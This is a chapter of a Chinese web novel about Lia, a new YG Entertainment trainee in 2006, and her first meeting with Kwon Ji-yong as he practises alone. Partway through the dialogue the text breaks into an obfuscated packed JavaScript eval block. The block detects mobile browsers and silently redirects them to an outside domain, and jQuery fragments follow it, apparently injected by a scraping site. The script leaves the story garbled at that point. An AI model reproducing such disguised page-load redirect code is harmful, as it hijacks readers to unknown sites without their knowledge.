1. 第1章

作品:《制作人

    2006年春天,汉江的风依旧带着些许寒意。


    Lia拎着书包快步穿过YG娱乐的大门,空气里弥漫着初春特有的潮意。


    她缩了缩脖子,试图将围巾拉高一点,遮挡住下半张脸。


    手里还有未完成的练习生课程表,她边走边低头瞄了一眼——今天晚上的声乐课被临时调整到了另一间练习室。


    她眨了眨眼睛,努力在脑海中勾勒出公司整体的布局,却发现自己还是一头雾水。


    她才刚进入公司没多久,日常的训练大多集中在二层的固定练习室里,对于公司其他的楼层并不熟悉。


    她低头叹了口气,手里的课表因为使用者的反复查看而起了褶皱。


    “还好提前到了。”她心想。


    进入YG的契机也不过是个偶然。


    最初,她只是出于兴趣,自学了吉他,然后自己摸索着拨弄出一些简单的和弦。


    一起上语言学校的朋友Mina听说了以后却大为兴奋:


    “你知道韩国娱乐公司会招练习生吧?你长得又好看,声音也好听,说不定能出道呢!”


    Lia起初觉得这不过是个玩笑。


    她对K-pop的认知还停留在家里电视偶尔播放的韩国音乐节目,或者母亲买回来的CD上。


    她会跟着旋律哼上几句,但从没想过自己会成为其中一员。


    但Mina却很认真,她翻出了自己的手机,凑到Lia跟前:“你真的不试试?我在论坛上看过,有人就是这样被选上的!”


    说着,就开始在网页上帮她查找那几个有名的娱乐公司的邮箱地址。


    Lia也有些心动,虽然觉得自己大概率不会被选上,但在朋友的怂恿下她忽然也有些跃跃欲试。


    鬼使神差的,那天晚上,她用电脑自带的录音软件匆匆录了两首自己写的小样,附上了一封简单的自我介绍邮件,敲下“发送”键。


    那封邮件发出去后,她很快就忘了这回事。


    她没想到——两周后,其中一家娱乐公司YG竟然真的回信了。


    她记得自己收到那封邮件时的心情。


    当时一家人刚吃完晚餐,她在客厅的电脑前写作业,母亲则在厨房收拾碗筷。


    电脑叮咚弹出了一封邮件提醒——“YG Entertainment Audition Team”。


    “妈妈……YG给我回信了。”她不可置信地盯着电脑开口道。


    母亲回头看她,脸上带着困惑:“YG?”


    她干巴巴地点头:“就是那个……韩国的公司。”


    母亲擦了擦手,跟着走了过来:“他们说什么?”


    她匆忙点开邮件,心跳快得仿佛能从指尖跳出来。


    您好,我们对您的音色和音乐表达方式很感兴趣,想邀请您来公司面试。请问您是否有时间安排来韩国?


    那一刻,客厅里突然安静下来。


    “去韩国?”母亲有些担忧地看着她,“你连韩语都说不太利索,怎么去?”


    Lia张了张嘴,想说应该还是能活下去的,却发现自己确实没考虑那么远。


    但那天晚上,她第一次认真地想了想——如果这次错过了,她以后会不会后悔?


    最终,她花了整整两个月说服父母,拿着提前申请的假期,独自踏上了飞往首尔的航班。


    然而,到了韩国她才意识到——练习生生活比她想象的要难太多了。


    她必须兼顾学业,YG便安排她到附近的初中部插班旁听。


    然而,她的韩语能力远不如自己想象得那样“能应付”。


    虽然在美国时,她能用韩语和父母对话,每周也会去韩语学校上两节课,但那毕竟是简单的日常对话。


    第一天去学校,她还带着些许期待。


    可当老师站在讲台上,开始讲解课本知识时,她不由得就开始眼神涣散。


    很好,不用说听懂了,根本没法不走神。


    公司训练也并不轻松。


    宿舍里其他的练习生几乎都至少练习一年以上,比起她们,她就像不小心闯进初中部的小学生一样。


    “嘴型再打开一点。”声乐老师耐心地提醒她,“你喉咙太紧了,声音出不来。”


    她照做了,然而唱出来的音色依旧僵硬。


    她知道自己的进度远远落后,可却找不到能追赶的出口。


    学业、训练和异国生活的三重压力让她身心俱疲,连一点思考的空隙都没有。


    有时候,她甚至觉得自己不是在追梦,而是在被推着往前走。


    Lia脑子里分神想着这些事,脚下不知不觉又走到了原定的练习室。


    练习室的门开着,里面传来伴奏的鼓点声。


    节奏感很强,是她喜欢的风格。


    她抬头望了一眼,发现练习室里已经没有其他人,只有一个男生还在加练。


    他站在镜子前,单手扣着帽檐,另一只手搭在腰侧,跟着音乐走着一小段步伐。


    松垮的黑色卫衣套在身上,袖口被随意地挽了一圈,露出瘦削的手腕。


    他额前的碎发微微有些湿,像是已经练习了很久。


    是权至龙。


    刚进公司不久,Lia就听过他的名字。


    在练习生群体里,他几乎是传奇人物:13岁就进入YG,唱跳全能、创作能力极强,据说已经被内定为即将出道的新男团的队长。


    这也不是她第一次见到他,但以往只是在走廊、食堂匆匆瞥见一眼,她还没有在练习室里见过他跳舞。


    这个人的存在感很强,出于好奇,她忍不住在门口悄悄地站住了。


    练习室里的人似乎没有发现自己额外多了一位观众,正专心致志地调整着动作。


    他的动作不算是标准的舞蹈训练动作,而更像是一种本能的节奏调整,像是在试图找到某个音符与肢体之间最自然的连接点。


    对于Lia这种还在学习身体开发的菜鸟练习生来说,虽然一眼就能看出对方舞蹈实力强悍,但却说不上来具体好在哪里。


    一时间,练习室里只有音乐和鞋底轻踩地面的摩擦声。


    Lia悄悄围观了一会儿,准备离开去找练习室。


    但就在她转身的时候,权至龙却突然停下了动作,抬头望向了镜子里。


    “有事?”他的声音带着练习后的喘息。


    Lia停下脚步,迟疑了一下:“我好像走错了。”


    权至龙盯着她看了一秒,然后嘴角轻轻一勾:“那你进来都看了快两分钟了?”


    Lia一时不知道该怎么回答,只好摆出些许歉意的表情看着他。


    这边,权至龙看似在认真练习,其实早就心不在焉。


    新男团要出道的消息在公司里已经隐约传开,他在高强度的练习和创作中几乎没有片刻喘息。


    作为预定的队长,他不仅要确保自己的练习不出错,还要兼顾团队里其他的成员。


    出道名额有限,团队里无论是谁最后要离开,他心里都不好受。


    时间越逼近出道的日期,他心里就越添几分烦躁不安。


    因为不想在宿舍闷着,他宁愿自己泡在练习室里,练习到深夜。


    身体上的疲惫,有时候可以抵消掉一部分精神上的苦恼。


    不过,他还是早早就透过镜子注意到了门口站着的人。


    公司里的练习生他大都认识。


    他性格开朗,对后辈练习生们多有关照。


    不说所有人他都熟悉,至少混个眼熟还是有的。


    但今天躲在门口偷偷看他的这个,倒是第一次见。


    身后的女孩穿着练习生的运动服,黑发随意扎着在脑后,额前有几缕碎发垂下。


    五官还没有长开,不是传统意义上的漂亮,但组合起来有种说不出的故事感。


    像是电影里那些不经意闯入镜头的女主角。


    她没有表情,只是安静地看着他练习。


    他不由地想,如果她去演电影,可能比当偶像更吸引人。


    “抱歉,前辈。”


    她清了清嗓子说道:“我现在就走。”


    “你是新来的吗?”


    权至龙回头看了看她。


    “对,今年新来的。”


    虽然有些意外他把对话进行下去,Lia还是老老实实地回答到。


    “是什么方向的?”


    他走到播放器前,随手停下了音乐。


    “作曲、编曲吧...”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258595|166489||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    虽然对方问得不太明确,但她是通过自己录的demo进公司的,这么回答应该不算有错吧。


    “你怎么不说敬语呢?”


    权至龙冲她挑了挑眉,看起来对回答不太满意。


    Lia吓了一跳。


    她果然还是没有很习惯韩国的敬语文化,经常说着说着就会忘记这件事。


    他应该不会认为自己是故意不遵守前后辈礼仪吧?


    看她紧张的样子,权至龙噗嗤一声笑了出来:“逗你呢。”


    “和宝恩努那一样,是从国外来的对吧,进来呀。”


    他像一个心血来潮要逗弄路边小猫的孩子,一边招呼Lia,一边转回身鼓捣手边的播放器。


    Lia乖乖走了进来,对他接下来要做什么摸不着头脑。


    下一秒,扬声器里乍然传来强烈的节奏。


    那旋律熟悉又陌生,让人一时间想不起来这究竟是哪首歌的前奏。


    “This Love。”他提示道,“我改编的。”


    Lia有些意外。


    练习生编曲的情况,其实很少见。


    不然凭借着她简陋的demo,也不会那么快就收到YG的回复。


    权至龙却好像只是提起了一件无关紧要的事情。


    他随意地耸耸肩,像在谈论今天的天气:“你是第一个听到的。”


    Lia站在靠近门口的位置,看着他随手扯下帽子,露出一头汗湿的黑栗色发丝。


    忽然觉得心脏漏跳了一拍。


    *


    坐在声乐课的教室里,Lia盯着练习纸上的谱子发呆。


    她已经盯着这行字很久了,久到旁边的练习生悄悄推了她一下,她才回过神来。


    “你今天状态不太对啊。”


    Lia愣了一秒,随即扯了扯嘴角,试图挤出一个反应:“嗯?”


    她当然知道自己不对劲。


    任谁听到那种程度的编曲,都会大受冲击好吗。


    那家伙,根本就是个怪物。


    舞蹈厉害也就算了,随手放出来的改编曲也好听得不行。


    虽然对方轻描淡写的样子,好像在说路边随便抓一只蚂蚁都能上来改编一下。


    但她心里非常清楚,那首改编曲的完整度、听感、层次,已经远远超出了普通练习生的能力范围。


    能做到那种程度,天才和经验缺一不可。


    而她呢?


    相比之下,她的“作品”忽然变得无比寒酸。


    放在以前也许还能勉强夸上一句有灵气,现在却遭受到对方全方位的碾压。


    Lia大受打击。


    她咬了咬唇,忽然非常后悔刚才说自己是编曲方向的练习生。


    万一哪天让他听到自己的曲子,怕不是要笑掉大牙。


    随便说个擅长英语,不比什么都强吗!


    她重重叹了一口气。


    而且这该死的旋律,只是听过一遍就自动开始在她脑子里回放。


    连带着对方漫不经心地询问她“怎么样”时的样子,也浮现在眼前。


    “很好听”。她听见自己的回答。


    语气伪装得太过平静,好像真的只是随口评价一首歌,而不是听到了某个会让自己心脏漏跳的旋律。


    *


    本以为这件事不过是个插曲。


    可那之后,Lia发现自己开始下意识留意权至龙的动态。


    其他练习生聊起他,她会不自觉地听得更认真一点。


    走廊里远远看到相似的身影,她的脚步会稍微顿一顿。


    知道权至龙有晚上来公司编曲的习惯后,她也开始增加自己在公司练习的时间。


    “你最近练习结束得挺晚啊。”有练习生随口问她。


    “咳咳....”Lia猛地呛了一口水,连连摆手。


    “只是因为,要追赶一下大家的进度啦,啊哈哈哈...”


    绝对不是在心虚!


    但是偶遇也不是那么容易的事。


    预备出道的练习生会单独接受声乐、舞蹈和体能课程的训练,如果不是刻意蹲守,他们几乎没有重叠的行程。


    自从那天在练习室碰到后,Lia已经很久没有见到他了。